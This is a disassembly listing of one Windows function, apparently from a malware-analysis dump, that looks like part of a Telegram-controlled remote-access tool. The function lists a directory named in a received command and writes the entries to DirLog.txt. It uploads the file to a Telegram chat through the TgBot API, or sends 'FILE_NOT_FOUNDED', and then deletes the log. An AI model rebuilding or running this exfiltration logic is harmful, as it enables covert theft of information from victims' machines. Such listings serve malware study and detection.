Function at 0x14000af80
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x940]
sub rsp, 0xa40
movaps xmmword [rsp + 0xa30], xmm6
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0x920], rax
mov r14, rdx
mov r15, rcx
mov qword [rbp + 0x1b0], rdx
xor r12d, r12d
mov rdx, qword [rdx]
add rdx, 0x118
cmp qword [rdx + 0x18], 0xf
jbe 0x14000afdc
mov rdx, qword [rdx]
lea rcx, [rbp + 0x300]
call fcn.1400048d0
nop
lea rcx, [rbp + 0x300]
cmp qword [rbp + 0x318], 0xf
cmova rcx, qword [rbp + 0x300]
add rcx, 5
mov qword [rbp + 0x2c0], rcx
mov rsi, 0xffffffffffffffff
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x14000b015
mov qword [rbp + 0x2c8], rax
call fcn.1400170a4
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x210], xmm0
lea r8, [rbp + 0x210]
mov edx, eax
lea rcx, [rbp + 0x110]
call fcn.140001b60
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x270]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rbp - 0x70], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x70]
test edx, edx
je 0x14000b083
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14000be21
cmp ecx, 3
sete bl
mov rdx, qword [rbp + 0x128]
cmp rdx, 7
jbe 0x14000b0d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b0cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
test bl, bl
je 0x14000bd46
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x340]
call sub.VCRUNTIME140.dll_memset
lea r13, str.DirLog.txt
mov rdx, r13
lea rcx, [rbp + 0x340]
call fcn.140010110
nop
lea rdx, [rbp + 0x300]
cmp qword [rbp + 0x318], 0xf
cmova rdx, qword [rbp + 0x300]
add rdx, 5
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14000b140
lea rcx, [rbp + 0x2e0]
call fcn.140013570
nop
lea rax, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 0xf
cmova rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x2c8], rax
call fcn.1400170a4
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x200], xmm0
lea r8, [rbp + 0x200]
mov edx, eax
lea rcx, [rbp + 0xf0]
call fcn.140001b60
nop
xorps xmm6, xmm6
movdqa xmmword [rbp + 0x2d0], xmm6
xor r8d, r8d
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x450]
call fcn.140002c50
nop
cmp byte [rbp + 0x6c8], 0
je 0x14000b233
mov ecx, 0x58
call fcn.140017a28
mov rdi, rax
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
lea rdx, [rbp + 0x450]
mov rcx, rbx
call fcn.140002f60
nop
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rdi
movdqa xmm6, xmmword [rbp + 0x2d0]
jmp 0x14000b240
xorps xmm0, xmm0
psrldq xmm0, 8
movq rdi, xmm0
mov ebx, dword [rbp + 0x6cc]
mov rcx, qword [rbp + 0x470]
call fcn.140017324
mov rdx, qword [rbp + 0x468]
cmp rdx, 7
jbe 0x14000b29b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b296
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b296
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x460], r12
mov qword [rbp + 0x468], 7
mov word [rbp + 0x450], r12w
test ebx, ebx
jne 0x14000be35
mov rdx, qword [rbp + 0x108]
cmp rdx, 7
jbe 0x14000b306
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b301
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b301
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
test rdi, rdi
je 0x14000b328
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x2d8]
movdqa xmm6, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2c0], xmm6
test rdi, rdi
je 0x14000b340
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x2d8]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
test rdi, rdi
je 0x14000b385
mov eax, esi
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14000b385
mov rbx, qword [rbp + 0x2d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b385
mov rcx, qword [rbp + 0x2d8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
nop word [rax + rax]
mov rdi, qword [rbp + 0x2c0]
test rdi, rdi
je 0x14000b525
lea rdx, [rbp + 0x60]
lea rcx, [rdi + 0x20]
call fcn.140011bb0
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp + 0x340]
call fcn.140014a90
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000b408
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b403
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b51e
call fcn.140017a20
lea rdx, [rdi + 0x20]
lea rcx, [rbp + 0x290]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rbp - 0x70], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp - 0x70]
test edx, edx
je 0x14000b439
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14000be4b
cmp ecx, 3
lea rcx, [rbp + 0x340]
lea rdx, str.__FOLDER_
je 0x14000b453
lea rdx, str.__FILE_
call fcn.140011ea0
lea rcx, [rbp + 0x340]
call fcn.140012070
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbp + 0x6d0]
mov rcx, qword [rdi + 0x40]
call fcn.140017304
cmp eax, 0x12
je 0x14000b4c7
test eax, eax
jne 0x14000be05
cmp word [rbp + 0x6fc], 0x2e
jne 0x14000b4b3
movzx eax, word [rbp + 0x6fe]
test ax, ax
je 0x14000b470
cmp ax, 0x2e
jne 0x14000b4b3
cmp word [rbp + 0x700], 0
je 0x14000b470
lea rdx, [rbp + 0x6d0]
mov rcx, rdi
call fcn.140002df0
jmp 0x14000b397
mov rdi, r12
mov qword [rbp + 0x2c0], r12
mov rbx, qword [rbp + 0x2c8]
mov qword [rbp + 0x2c8], r12
test rbx, rbx
je 0x14000b397
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000b390
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b390
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14000b390
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0x2c8]
test rcx, rcx
je 0x14000b566
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000b566
mov rbx, qword [rbp + 0x2c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b566
mov rcx, qword [rbp + 0x2c8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rbp + 0x2d8]
test rcx, rcx
je 0x14000b5a6
mov eax, esi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000b5a6
mov rbx, qword [rbp + 0x2d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b5a6
mov rcx, qword [rbp + 0x2d8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 0x348]
call fcn.140011740
test rax, rax
jne 0x14000b5d9
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x340]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 0xa
call fcn.1400170a4
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x1f0], xmm0
lea r8, [rbp + 0x1f0]
mov edx, eax
lea rcx, [rbp + 0xd0]
call fcn.140001b60
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x280]
call fcn.140003100
movsd xmm0, qword [rax]
movsd qword [rbp - 0x70], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x90], ecx
lea rax, [0x140025110]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x320], xmm0
mov eax, dword [rbp - 0x70]
test eax, eax
je 0x14000b6ab
cmp eax, 1
setne dil
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x14000b6bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
test ecx, ecx
jne 0x14000be0d
jmp 0x14000b667
call fcn.140017a20
mov rbx, qword [r15]
xorps xmm0, xmm0
test dil, dil
je 0x14000ba5a
movdqu xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], r12
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp]
call fcn.140013570
nop
lea rax, [rbp + 0x80]
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0x20]
call fcn.140013570
nop
lea rax, [rbp + 0x160]
mov qword [rbp + 0x1b8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp + 0xa0]
call fcn.140013570
movups xmm1, xmmword [rbp + 0xa0]
movups xmmword [rbp + 0x168], xmm1
movups xmm0, xmmword [rbp + 0xb0]
movups xmmword [rbp + 0x178], xmm0
mov dword [rbp + 0x160], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
mov r8d, 0xa
lea rdx, str.text_plain
lea rcx, [rbp - 0x40]
call fcn.140013570
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
mov r8d, 0xa
mov rdx, r13
lea rcx, [rbp + 0x40]
call fcn.140013570
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x190], xmm0
mov rcx, qword [rax]
mov qword [rbp + 0x190], rcx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x198], rcx
mov qword [rax], r12
mov qword [rax + 8], r12
mov dword [rbp + 0x188], r12d
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x220], r12d
mov dword [rsp + 0x70], r12d
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
lea rax, [rbp + 0x130]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x48], 0
lea rax, [rbp]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r12d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x160]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x188]
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendDocument_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_]
mov rbx, qword [rbp + 0x1c8]
test rbx, rbx
je 0x14000b8e0
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000b8e0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b8e0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rbx, qword [rbp + 0x1e8]
test rbx, rbx
je 0x14000b916
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000b916
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b916
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000b954
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b94f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b94f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000b9a2
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b99d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b99d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000b9f0
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b9eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b9eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000ba3e
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ba39
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea rcx, [rbp + 0x130]
jmp 0x14000bc0e
movdqu xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], r12
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
xor r8d, r8d
lea rdx, [0x14001ae01]
lea rcx, [rbp - 0x60]
call fcn.140013570
nop
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8d, 0x10
lea rdx, str.FILE_NOT_FOUNDED
lea rcx, [rbp - 0x20]
call fcn.140013570
nop
mov rax, qword [r14]
mov rcx, qword [rax + 0x30]
mov rax, qword [rcx]
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x248], r12d
mov dword [rsp + 0x60], r12d
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x148]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov byte [rsp + 0x20], 0
lea r9, [rbp - 0x20]
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbx + 0x20]
call qword [sym.imp.TgBot.dll__sendMessage_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D]
mov rbx, qword [rbp + 0x1d8]
test rbx, rbx
je 0x14000bb6b
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000bb6b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000bb6b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000bba9
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bba4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bba4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000bbf7
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bbf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bbf2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
lea rcx, [rbp + 0x148]
call fcn.140011170
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x14000bc6c
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bc67
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], 0xf
mov byte [rbp + 0x2e0], 0
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x340], rax
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x33c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x3c8], 0
je 0x14000bd08
mov rax, qword [rbp + 0x360]
lea rcx, [rbp + 0x3b8]
cmp qword [rax], rcx
jne 0x14000bd08
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x3d0]
mov qword [rax], rcx
mov rax, qword [rbp + 0x380]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x398]
mov dword [rax], edx
cmp byte [rbp + 0x3c4], 0
je 0x14000bd1d
lea rcx, [rbp + 0x348]
call fcn.140011740
lea rcx, [rbp + 0x348]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x350]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x318]
cmp rdx, 0xf
jbe 0x14000bd8a
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bd85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000bd85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140017a20
mov qword [rbp + 0x310], r12
mov qword [rbp + 0x318], 0xf
mov byte [rbp + 0x300], 0
mov rbx, qword [r14 + 8]
test rbx, rbx
je 0x14000bdd3
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14000bdd3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], esi
cmp esi, 1
jne 0x14000bdd3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rbp + 0x920]
xor rcx, rsp
call fcn.140017a00
mov rbx, qword [rsp + 0xa90]
movaps xmm6, xmmword [rsp + 0xa30]
add rsp, 0xa40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov edx, eax
call fcn.140002a90
nop
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x320]
call fcn.140002bf0
nop
lea r8, [rbp + 0x110]
lea rcx, str.status
call fcn.140002b80
nop
lea r8, [rbp + 0xf0]
mov edx, ebx
lea rcx, str.directory_iterator::directory_iterator
call fcn.140002b80
nop
lea r8, [rdi + 0x20]
lea rcx, str.status
call fcn.140002b80
int3